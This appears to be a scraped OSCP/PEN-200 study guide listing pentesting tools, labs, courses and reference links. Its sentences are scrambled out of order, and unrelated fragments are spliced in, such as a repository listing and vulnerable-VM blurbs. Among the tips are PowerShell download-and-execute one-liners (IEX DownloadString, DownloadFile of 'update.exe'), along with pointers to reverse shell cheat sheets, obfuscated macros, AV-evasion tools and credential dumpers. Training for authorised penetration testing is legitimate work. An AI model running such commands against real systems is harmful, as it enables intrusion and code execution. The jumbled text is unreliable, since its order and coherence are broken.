Boot-to-Root Vulnerable Machines! These scanners rely on a database that contains the necessary information needed to conduct a scan. Metasploit Unleashed using John the Ripper with Hashdump: Seclists: apt-get install seclists The script can be downloaded onto a Windows target to transfer files, return a shell, or create payloads that we can call back from our target. You can find this recording here: Metasploitable 2: Contains Vulnerable Web Services such as. Inspect every element to see how the web app works. You can find the list here and check for updates that I will add to the list in the future: An online penetration testing platform that contains a variety of machines to help you improve your penetration testing skills. A tool that is designed for testing, debugging, and generally interacting with APIs & HTTP servers. http://pwnwiki.io/#!privesc/windows/index.md, Absolombs Security Blog: Windows Privilege Escalation Guide Also be dressed for your exam. With NSE scripts you have the ability automate a wide variety of networking tasks for your scans including vulnerability detection and exploitation. Active Directory is a popular service that we see running in the real world because it helps system administrators manage their systems, users, services, and much more depending on the size of their organisation. When it comes to report writing and note taking you should be documenting EVERYTHING that you identify. These tools can be able to identify hidden directory structures or webpages that can come in handy when you are in the labs or during your assessment. PowerShell is a very powerful tool that pentesters use as it is installed Default on Windows and it can also be installed on Linux systems as well. A word of caution! Well try to get root shell and obtain flag. This blog is a must that everyone should have for preparing for the OSCP in my opinion. Pivoting and Tunnelling: SSHuttle (Totally Recommend learning this): Microsoft Documentation to install Active Directory: Install Windows Active Directory on Windows Server 2019: Understanding Users Accounts in Active Directory: Three ways to create an Active Directory User: Active Directory Enumeration with Powershell: Active Directory Exploitation Cheat Sheet: Overpass the hash (Payload All the things): Cracking Kerberos TGS Tickets Using Kerberoast: Building an Active Directory with PowerShell: Network Forensics (Packet Analysis, Captured Traffic, Network Services), Reverse Engineering (disassemble applications). Experiment with this tool and understand what it does because you will be using this almost every day during your course and beyond. But re-tracing your steps to grab screenshots, tool output, etc. However, these courses can be expensive if you are unable to get someone to pay for them. I really enjoyed their challenges when I did them! Sample Hashes to test with Hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes, THC Hydra: https://github.com/vanhauser-thc/thc-hydra, Crowbar: https://github.com/galkan/crowbar, Hash-Identifier: https://github.com/psypanda/hashID, Mimikatz: https://github.com/gentilkiwi/mimikatz, Mimipenguin: https://github.com/huntergregal/mimipenguin, Pypykatz: https://github.com/skelsec/pypykatz, Xajkep Wordlists: https://github.com/xajkep/wordlists. Everyone prepares differently and mentally. For those who have not gone through the registration you will need to pass a challenge to generate yourself an activation code. A good foundational course that helped me understand more about Kali Linux and it has a nice Linux Fundamentals section. I highly encourage you to make some time to learn how to install Active Directory on a Windows Server (version of your liking). If you would like to learn more about this new proctoring process you can find it here: https://www.offensive-security.com/offsec/proctoring/ Some of the boxes they provide also contain hints for the boxes as well: eLearnSecurity use to be a great place to learn more about pentesting with the courses they offered. Once I finish going through the syllabus, I will also be providing some extra resources that came in handy. https://gtfobins.github.io/, PayloadsAllTheThings Linux Priv Esc Guide: Issues or Requests that you think should be added in Kali: Linux Journey: Well try to get root shell and obtain flag. This sponsorship provides Kali users with 30-day exclusive early access to Empire and Starkiller before the updates are publicly released to the official repository. (e.g. The PDF guide you will receive with your course materials contains a list of resources and how you should approach the material and lab environment. https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob. Offensive Security has released their own private lab environment where you can practice your pentest skills with the boxes they provide online. http://overthewire.org/wargames/natas/, Web Security Academy: Authors of the Web Application Handbook. Ropnop Transferring Files from Linux to Windows (post-exploitation): John the Ripper: https://www.openwall.com/john/. You can also upload nmap xml files to Searchsploit so it can find available exploits that match your target. Link for Nmap Network Scanning Book (if you want to purchase it): What language is the web application written in? Abatchy provided a link from 0day security that gave me a lot of ideas and things to look for that I may have missed when I skipped some the of the services in the lab. If anyone has any questions about this guide or feedback please let me know as you can reach out to me on twitter, discord, or on NetSecFocus! It is a very affordable in my opinion, and worth it to invest in. Here are some resources that you can look into to get an understanding of how PowerShell Empire works: This concludes the resources I have used that helped me understand the course syllabus. OSWAP Testing for LFI: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion, SQL Injections: This Notebook 223 20 OSCP-Stuff Public List of Stuff I did to get through the OSCP :D Python 146 47 pentest Public Metasploit The Penetration Testers Guide (A super awesome book to read): https://nostarch.com/metasploit, Metasploit Documentation: https://docs.rapid7.com/metasploit/getting-started/. https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0. In addition, you will also need to understand the different tools that you can use to conduct online and offline password attacks. The below list is based on Tonys (@TJ_Null) list of vulnerable machines. Thanks to g0tmi1k and his team for hosting this site and to the creators who submit these vulnerable machines. You can use multiple monitors for the exam. https://www.owasp.org/index.php/OWASP_Juice_Shop_Project, Overthewire Natas: A set of wargame challenges that are web base that you will need to complete in order to move to the next round. Now I will share with you some tips and extra resources that I used to prepare for the PEN200 PWK/OSCP. This practice is great to implement in case you are stuck on a windows system that is running a service that for some reason you cannot obtain a shell on. There are systems out there that are dual homed, which allow you to connect into an internal network. A huge guide to learn about a variety of different things in Linux. Recently the Kali Linux team is partnering with BC Security to sponsor PowerShell Empire. https://github.com/rasta-mouse/Sherlock, WinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS, Watson: https://github.com/rasta-mouse/Watson, Seatbelt: https://github.com/GhostPack/Seatbelt, Powerless: https://github.com/M4ximuss/Powerless, Powerview: https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon, Rotten Potato: https://github.com/breenmachine/RottenPotatoNG, Juicy Potato: https://github.com/ohpe/juicy-potato, Other Resources for Windows Privilege Escalation Techniques: With that exploit you may need to modify shellcode or even parts of the exploit to match with your system to obtain a connection from your target. Not all exploits are going to work right out of the box you will need to configure them to make sure they can reach back to your attacking system. If you do not know what DNS is or how it works, here is a great guide that I used to better understand it from Digital Ocean: Now that they are owned by INE you now have to buy training from there subscription based platform to learn from the material they offer to be able to obtain the certifications Elearnsecurity offers. Typically online password cracking involves sending attempts to the authentication service; like a web form or terminal service. will take valuable time. searchsploit MS-17-010 finds all cases/exploits linked to MS17-010. As Robert Graham says this can be done in less than 6 minutes at around 10 million packets per second. In addition, you should also know how zone transfers work and how to perform them. After all web apps are starting to become more popular to see on pentests. I have provided some resources to help you get started: Note: Make sure when you are setting up the Active Directory Server that you assign a static IP address to it and also a workstation that you will be joining the server to for further testing. Make sure your system is able to meet the software/hardware requirements that offensive security provides in order to run these services. If you would like to download the custom Kali Linux System for the PWK you can find it here: Keep in mind that the virtual machines hosted on Offensive Security are updated by the Kali Linux Team. A word of advice: Be aware of the exploits you download from the public! I know some of you are reading this are probably skeptical on why I added thiswell to be honest the cybersecurity careers that we are in are not a normal 7am-3pm jobit is a lifestyle. Active Directory Domain Services can be installed on Windows Server (2000-2019). PG Practice includes all of the features and removes the three hour time limit but Practice also offers Linux and Windows boxes that you can use to improve your pentesting skills as these boxes are created by Offsec Experts. Take some time to look at each of them because they could be a key for you to obtain shell access on a system! Explainshell: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, GTFOBins (I have to thank Ippsec for sharing this with me): Contains a curated list of Unix binaries that that have the ability to be exploited by an attacker to bypass local security restrictions on a Linux system. SANS provides a wide variety of information security courses. I thanked a lot of people for helping me with my journey in this guide and I want to thank them again for their time and contributions for helping me learn and grow in the cyber-security field. Downloading a file and executing with Invoke-Expression: powershell IEX (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1/msi-installer.exe'), bitsadmin. You could also create a Windows 7 64-bit system as well but some of 32-bit applications may not work properly as they would on an actual 32-bit system. I recommend that you set up a Windows 10 Workstation if you plan to use Windows Server 2016/2019. Bugcrowd University has a webinar that Jason Haddix created explaining about burp suite and how you can use it. I love watching his videos because he goes through step by step on how to obtain access onto the target and how to escalate your privileges to obtain root access. This site contains a variety of practical challenges on Web App Attacks: You can find their challenges here: http://www.underthewire.tech/wargames.htm. Socat: A command line based utility that establishes two bidirectional byte streams and transfers data between them. The PWK/OSCP is classified as PEN-200 and after spending some time reviewing the course I decided that I wanted to create an update version to help future students out there prepare for the new PEN-200. In the free tier you are allowed to play with the 20 active machines they have and they cycle a new system in the range every week and retire an old one there as well. https://github.com/rebootuser/LinEnum, Linux Exploit Suggester 2: https://github.com/jondonas/linux-exploit-suggester-2, LinPEAS: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS]. Here are my resources that I used to learn more about Nmap: Masscan: A powerful tool that can be used to scan a set of requested ports against your targets. I highly recommend to you read the restrictions carefully and the OffSec perception of how a report is created. http://www.fuzzysecurity.com/tutorials/16.html, Pwnwiki Windows Privilege Escalation Commands: These tools below make it easy to automate the process for conducting a SQL Injection but it is possible that they can causes issues to a targets SQL Database. I think that is pretty simple to understand why. Probably my favorite place for challenges because they contain a huge set of PowerShell challenges. PWK Learning Path: A very useful resource to help get started on what boxes you should go through in the PWK lab. If you do not understand how the code worksdo some research!!! Keep in mind that the boxes that you assess on these platforms should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. SQL Injection Tools: Powershell: https://portswigger.net/web-security, Other resources: Here are a few guides I used to get a better understanding of how to transfer files onto Windows and Linux systems: Python Modules to run services to transfer files: python3 -m pyftpdlib -p 21 -w spins up a Python 3.X FTP server in the directory you are located on port 21 and it allows anonymous login access. Please make sure that you are running these vulnerable systems on an isolated network and not on a public network. Shodan is a search engine that lets a user find specific types of computers, network devices, webcams, etc that are connected to the internet using a set of filters for there results. When you are taking the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself. I highly recommend purchasing the full book since the official guide is missing a few chapters, such as Detecting and Subverting Firewalls and Intrusion Detection Systems, Optimizing Nmap Performance, Port Scanning Techniques and Algorithms, Host Discovery (Ping Scanning), and more. You can find all of his password lists here: Understanding Port forwarding with Metasploit: Explore Hidden Networks with Double Pivoting: 0xdf hacks stuff. As always enumeration is something that pentesters must continue to do when reviewing all possible attack avenues that could compromise the web application. You may also find CTFs that Offsec sponsors where you can be able to win a PWK voucher! One thing that I will mention is if you want to practice your Linux privilege escalation, I highly recommend you take a look at Lin.Security vulnerable box created by in.security! Identify the differences between Windows (NTLM) hashes and Linux hashes. Know your tools! Additional Resources: I know there are scripts for automating this process but at some points those scripts can miss something very important on your target that you need to escalate your privileges. The 2nd most important resource that I used to help me prepare for the course: Review the request and response headers to understand how the web application behaves when you make certain actions to it. Personally, competing in CTFs did help me in this course and also it gave me a better understanding of what things I should be looking for instead of jumping into rabbit holes! Be creative when you are building your own Macros as using tools like this will be flagged by AV. You can also try to apply for the SANS workforce training as well to be able to take their courses at a discount. You will learn a lot from this course, take your time to understand the material and this guide. Things to check for when you are enumerating a web application: These tools are designed to brute force site structure including directories and files in websites. Operator Handbook: Red Team + OSINT + Blue Team Reference: Learn Windows PowerShell in a Month of Lunches 3rd Edition. Even with my preparation, I lost 30 mins of my actual exam time due to troubleshooting the applications for the proctor on my end. As He wrote: The boxes that are contained in this list should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. Throughout the internet you will probably find a variety of different resources to help you understand how buffer overflows work. Here are some resources that can give you an idea of note taking tools, what templates people use for note taking, and how corporations create their pentest reports: Tools to record your terminal input/output: Script: The script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. If you cannot find any local CTFs check out CTFTime for online competitions that you can participate in. As a pentester you need to gather information about the web application. If you do not review the exploit code or make any modifications, then you are running risk that the exploit will fail, crash your target system/service, or it may allow other users to connect into the system. You will need to know some of these techniques in order to obtain access into there non-public networks: Tools to help you with Port Forwarding and Pivoting: This was a new section that I was really looking forward to learning about when the new update was released! Reference: https://support.offensive-security.com/oscp-exam-guide/. Make sure you review the source code and test the exploits in an contained environment before running them on your actual system. You are ultimately responsible for knowing what features or external utilities any chosen tool is using. They also having learning paths that you can complete as well but you may have to pay for them or purchase a subscription to access them. They have an article they posted about Stack Based Overflows that gave me a better understanding of identifying a buffer overflow in an application: Once I finished reading the articles I decided to start going through write-ups and forums where people manually identified buffer overflows in certain applications. https://www.tenable.com/products/nessus/nessus-essentials. Nmap: The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting vulnerabilities, not in automating the process. I would not recommend using these tools until you have a clear understanding about SQL Databases and how a SQL Injection works. Personally, my three favorite places are Proving Grounds, Hackthebox and Vulnhub. Most of them result in obtaining root or Administrative/System level access in the end. Do not just scan them and move on. Thank you for creating your original guide: https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html, If you are still going through the old labs and course material, you find the first guide here: Running Client-Side Attacks usually require client interaction so its good to have an understanding of how this works and also how you can set one up. When you are comfortable to take the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself. Supports SSL communication and it is part of Nmap. The update replaces OpenVAS and students will learn how to use use Nessus. Socat Man Page: https://linux.die.net/man/1/socat. The material provided in the PWK was fantastic and really straightforward. Pentesterlabs: Abatchys walkthrough really helped me here: OverTheWire Natas: Youll develop and hone this as you go through the exercises and labs. wordlists that have been hashed) or computing services that you can use to break hashes. Here are some client side attacks that are commonly used: I would use these tools to learn how to make your own. As for MAC Users you will need to use VMware Fusion. As pentesters we can execute techniques such as brute forcing, signing in with compromised credentials/obtaining credentials, or in the case of unpatched systems, access by exploiting the administration login page. For those of you that would like to know about my journey when I took the course and exam, you can find my earlier post here: Downloading a file from your host: powershell (New-Object System.Net.WebClient).DownloadFile('https://IP Address/update.exe', 'msi-installer.exe') For instance you should ask yourself these questions: Identifying the components of the web application will allow you to proceed to the next phase by enumerating the components/issues you identified instead of running an exploit blindly against the web application. You dont need to use this guide in order; feel free to jump around as it suits you. OWASP: https://www.owasp.org/index.php/SQL_Injection, Pentest Monkey SQL Cheat Sheets: http://pentestmonkey.net/category/cheat-sheet/sql-injection. I highly recommend you take some time to learn what the tool does, how each command switch works, each scanning technique you can run, and any other capabilities. INE Cybersecurity Training: https://ine.com/pages/cybersecurity. There are certain tools that you cannot use for the exam. When you are ready to take the course, you should expect the following: As of now Offensive Security has restricted the following tools: Any tools that perform similar functions as those above are also prohibited. Shodan: A popular web application vulnerability scanner that contains a variety of features and plugins to identify web vulnerabilities on certain web applications. You can find them here and on NetSecFocus: I will continue to update this list and if you would like a copy for review you can certainly find it here: Does the web application connect to a database? For instance, check out the Client Side Attack Section in Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/. In Kioptrix: Level 1.1 (#2), a vulnerable-by-design virtual machine from Vulnhub, rated as Easy/Beginner level machine. This section provides an overview of what you should expect on the course. However, the automated tools created by these developers have certain features or create scripts that combine common tools to automate their findings. If you read only parts of it, then I still give you props because the main thing that is important to me is that you learned something from it! Students are not allowed to record their screens while interacting with any of the exam machines. They have a variety of different rooms you can choose from and they do a good job explaining fundamental concepts in some of these rooms. Without his guide I would have never started exploring for other resources. The course recommends that you are using VMware products to run the custom Kali Linux image that they have created. Trust me you do not want to burn yourself out. Also do not be scared to compete in a CTF if it is your first time! You will need VMware or VirtualBox (I recommend VMware workstation) to run these vulnerable systems. Keep in mind that the proctor must be able to see them and that they are connected to your system. This tool can be able to scan for vulnerabilities on the web application, checks for server configuration that include multiple index files, HTTP server options, and will attempt to identify installed the version of the web server, and any plugins/software that is running on it. you cannot use a spare laptop that has a webcam and connect the webcam session onto that system. Nessus is a real popular tool for vulnerability scanning in the infosec world and I certainly encourage you to play with it! With that being said I created a list of all of boxes that I did in Hackthebox that I thought were OSCP Like. Well then! Confusingly these are also online crackers but these are collections of pre-broken hashes (e.g. In case you would like to see some examples you can find many of these whitepapers on the Exploit Database: https://www.exploit-db.com/search?q=Authentication+Bypass, Alumni Management System 1.0 https://www.exploit-db.com/exploits/48883, OWASP:https://www.owasp.org/index.php/Cross-site_Scripting_(XSS), OWASP: https://owasp.org/www-community/attacks/Path_Traversal, File Inclusion Vulnerabilities. -Offensive Security, Section 2: Getting Comfortable with Kali Linux, Section 5: Getting Started with Bash Scripting, Section 10: Buffer Overflows for Windows and Linux, Section 13: Transferring Files to your target, Section 17: Port Redirection and Pivoting, Capture the Flag Competitions (CTFs)/Cyber Competitions, Tips to participate in the Proctored OSCP exam, https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html, https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html, https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob, https://www.offensive-security.com/offsec/what-it-means-to-try-harder/, https://www.offensive-security.com/offsec/understanding-pentest-tools-scripts/, https://support.offensive-security.com/oscp-exam-guide/, https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf, https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app, https://maikthulhu.github.io/2017-11-20-onenote-layout, https://411hall.github.io/assets/files/CTF_template.ctb, https://github.com/whoisflynn/OSCP-Exam-Report-Template, https://github.com/juliocesarfort/public-pentesting-reports, https://github.com/flameshot-org/flameshot, https://man7.org/linux/man-pages/man1/script.1.html, https://ostechnix.com/record-everything-terminal/, https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf, https://kali.training/lessons/introduction/, https://www.kali.org/docs/development/dojo-mastering-live-build/, https://www.offensive-security.com/kali-linux/creating-kali-i3-gaps/, https://www.edx.org/course/introduction-to-linux, https://nostarch.com/linuxbasicsforhackers, http://linuxcommand.org/lc3_learning_the_shell.php, https://www.sans.org/posters/netcat-cheat-sheet/, https://docs.microsoft.com/en-us/powershell/scripting/learn/more-powershell-learning?view=powershell-7, https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/, https://www.amazon.com/Windows-PowerShell-Cookbook-Scripting-Microsofts/dp/1449320686, https://www.amazon.com/Windows-PowerShell-Pocket-Reference-Scripters-dp-1449320961/dp/1449320961/, https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160/, https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/, https://danielmiessler.com/study/tcpdump/, https://www.malware-traffic-analysis.net/, https://www.tutorialspoint.com/unix/shell_scripting.htm, https://www.codecademy.com/learn/bash-scripting/modules/bash-scripting, https://betterdev.blog/minimal-safe-bash-script-template/, https://github.com/ralish/bash-script-template, https://www.exploit-db.com/google-hacking-database, https://www.sans.org/security-resources/GoogleCheatSheet.pdf, https://owasp.org/www-project-secure-headers/, https://bitbucket.org/LaNMaSteR53/recon-ng/overview, https://www.digitalocean.com/community/tutorials/an-introduction-to-dns-terminology-components-and-concepts, https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/, https://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717, https://danielmiessler.com/study/masscan/, https://web.archive.org/web/20200309204648/http://0daysecurity.com/penetration-testing/enumeration.html, https://www.tenable.com/blog/getting-started-with-nessus-on-kali-linux, https://www.tenable.com/products/nessus/nessus-essentials, https://tools.kali.org/web-applications/dirbuster, https://www.youtube.com/playlist?list=PLqG-wtrX3aA_wYTrnDHoCBkKBoI4z9oLd, https://www.bugcrowd.com/resource/introduction-to-burp-suite/, https://www.exploit-db.com/search?q=Authentication+Bypass, https://www.exploit-db.com/exploits/49463, https://www.exploit-db.com/exploits/49420, https://www.exploit-db.com/exploits/48883, https://www.owasp.org/index.php/Cross-site_Scripting_(XSS), https://owasp.org/www-community/attacks/Path_Traversal, https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/, https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion, https://www.owasp.org/index.php/SQL_Injection, http://pentestmonkey.net/category/cheat-sheet/sql-injection, https://github.com/sqlmapproject/sqlmap/wiki/Usag, https://metasploit.help.rapid7.com/docs/metasploitable-2, https://www.vulnhub.com/entry/metasploitable-2,29/, https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide, https://www.owasp.org/index.php/OWASP_Juice_Shop_Project, https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/, https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/, https://samsclass.info/127/proj/vuln-server.htm, https://www.exploit-db.com/exploits/10434, https://www.exploit-db.com/exploits/40673, https://www.exploit-db.com/exploits/39480, https://www.exploit-db.com/exploits/40018, https://samsclass.info/127/proj/lbuf1.htm, https://www.vulnhub.com/entry/brainpan-1,51/, https://www.vulnhub.com/entry/pinkys-palace-v1,225/, https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/, https://www.vulnhub.com/entry/smashthetux-101,138/, https://www.vulnhub.com/entry/pandoras-box-1,111/, https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982, https://github.com/justinsteven/dostackbufferoverflowgood, https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481, https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/, http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf, https://github.com/johnjhacking/Buffer-Overflow-Guide, https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf, https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/, https://www.trustedsec.com/blog/malicious-htas/, https://dmcxblue.gitbook.io/red-team-notes/initial-acces/spear-phishing-links/tools, https://github.com/tjnull/OSCP-Stuff/blob/master/Client-Side-Attacks/Template.HTA, https://github.com/mdsecactivebreach/SharpShooter, https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/, https://www.pentestpartners.com/security-blog/how-to-create-poisoned-office-documents-for-your-staff-awareness-training-part-1/, https://blog.focal-point.com/how-to-build-obfuscated-macros-for-your-next-social-engineering-campaign, https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/, https://packetstormsecurity.com/files/tags/exploit/, https://github.com/tjnull/OSCP-Stuff/blob/master/Transferring-Files/HTTPServerWithUpload.py, https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples, https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://awakened1712.github.io/oscp/oscp-transfer-files/, https://blog.ropnop.com/transferring-files-from-kali-to-windows/, https://github.com/danielbohannon/Invoke-Obfuscation, https://github.com/matterpreter/DefenderCheck, https://github.com/rasta-mouse/ThreatCheck, http://www.fuzzysecurity.com/tutorials/16.html, http://pwnwiki.io/#!privesc/windows/index.md, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/, https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md, https://github.com/N7WEra/SharpAllTheThings, https://github.com/411Hall/JAWS/commits?author=411Hall, https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS, https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon, https://github.com/breenmachine/RottenPotatoNG, https://medium.com/@rahmatnurfauzi/windows-privilege-escalation-scripts-techniques-30fa37bd194, https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md, https://github.com/jondonas/linux-exploit-suggester-2, https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/, https://www.vulnhub.com/entry/linsecurity-1,244/, https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf, https://hashcat.net/wiki/doku.php?id=example_hashes, https://www.offensive-security.com/metasploit-unleashed/john-ripper/, https://github.com/vanhauser-thc/thc-hydra, https://tools.kali.org/password-attacks/crunch, https://github.com/huntergregal/mimipenguin, https://github.com/danielmiessler/SecLists/tree/master/Passwords, https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956, https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide, http://woshub.com/port-forwarding-in-windows/, https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/, https://www.offensive-security.com/metasploit-unleashed/proxytunnels/, https://www.offensive-security.com/metasploit-unleashed/portfwd/, https://pentest.blog/explore-hidden-networks-with-double-pivoting/, https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html, https://sshuttle.readthedocs.io/en/stable/, https://www.vulnhub.com/entry/wintermute-1,239/, https://www.youtube.com/watch?v=GfqsFtmJQg0&feature=emb_logo, https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/deploy/install-active-directory-domain-serviceslevel-100-, https://computingforgeeks.com/how-to-install-active-directory-domain-services-in-windows-server/, https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts, https://petri.com/3-ways-to-create-new-active-directory-users, https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain, https://github.com/AutomatedLab/AutomatedLab, https://github.com/outflanknl/Invoke-ADLabDeployer, https://github.com/bjiusc/Active-Directory-User-Setup-Script, https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf, https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#domain-enumeration, https://github.com/PowerShellMafia/PowerSploit, https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11), https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#overpass-the-hash-pass-the-key, https://riccardoancarani.github.io/2019-10-04-lateral-movement-megaprimer/#overpass-the-hash, https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model, https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/, https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-golden-tickets, https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync, https://github.com/sense-of-security/ADRecon, https://github.com/SecureAuthCorp/impacket, https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/, https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/, https://www.offensive-security.com/metasploit-unleashed/, https://docs.rapid7.com/metasploit/getting-started/, http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/, https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom, https://github.com/BC-SECURITY/Empire/wiki/Installation, https://alpinesecurity.com/blog/empire-a-powershell-post-exploitation-tool/, https://github.com/BC-SECURITY/Starkiller, https://github.com/BC-SECURITY/Empire-Cli, https://github.com/BC-SECURITY/Malleable-C2-Profiles, https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/, https://www.netsecfocus.com/home/lab/2020/09/21/Tjnulls_guide_to_building_a_Home_Lab.html, https://www.abatchy.com/2016/10/overthewire-bandit-0-5, https://www.abatchy.com/2016/10/overthewire-bandit-6-10, https://www.abatchy.com/2016/10/overthewire-bandit-11-15, https://www.abatchy.com/2016/10/overthewire-bandit-16-20, https://www.abatchy.com/2016/10/overthewire-bandit-21-24, https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/, http://www.underthewire.tech/wargames.htm, https://www.holidayhackchallenge.com/past-challenges/, https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159, https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf, https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0, https://www.offensive-security.com/offsec/proctoring/, https://support.offensive-security.com/proctoring-faq/, https://docs.google.com/spreadsheets/d/12bT8APhWsL-P8mBtWCYu4MLftwG1cPmIL25AEBtXDno/edit#gid=937533738, https://help.offensive-security.com/hc/en-us/articles/360059535932, https://help.offensive-security.com/hc/en-us/articles/360050473812, https://www.kali.org/download-kali-linux-revealed-book/, https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504, https://www.amazon.com/Hash-Crack-Password-Cracking-Manual/dp/1793458618, https://www.amazon.com/Learn-Windows-PowerShell-Month-Lunches/dp/1617294160, https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579, https://elearnsecurity.com/product/ejpt-certification/, https://elearnsecurity.com/product/ecpptv2-certification/, https://www.sans.org/course/network-penetration-testing-ethical-hacking, https://www.sans.org/course/web-app-penetration-testing-ethical-hacking, https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html, https://411hall.github.io/OSCP-Preparation, https://www.gitbook.com/book/sushant747/total-oscp-guide, https://h4ck.co/oscp-journey-exam-lab-prep-tips/, https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/, http://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/, https://ranakhalil101.medium.com/my-oscp-journey-a-review-fa779b4339d9, https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, Reverse Engineering and Exploit Development Made Easy - Chapter 3. Introduction This Kioptrix: Level 1 VM I DC-9 is a purposely built vulnerable lab with the intent of gaining experience 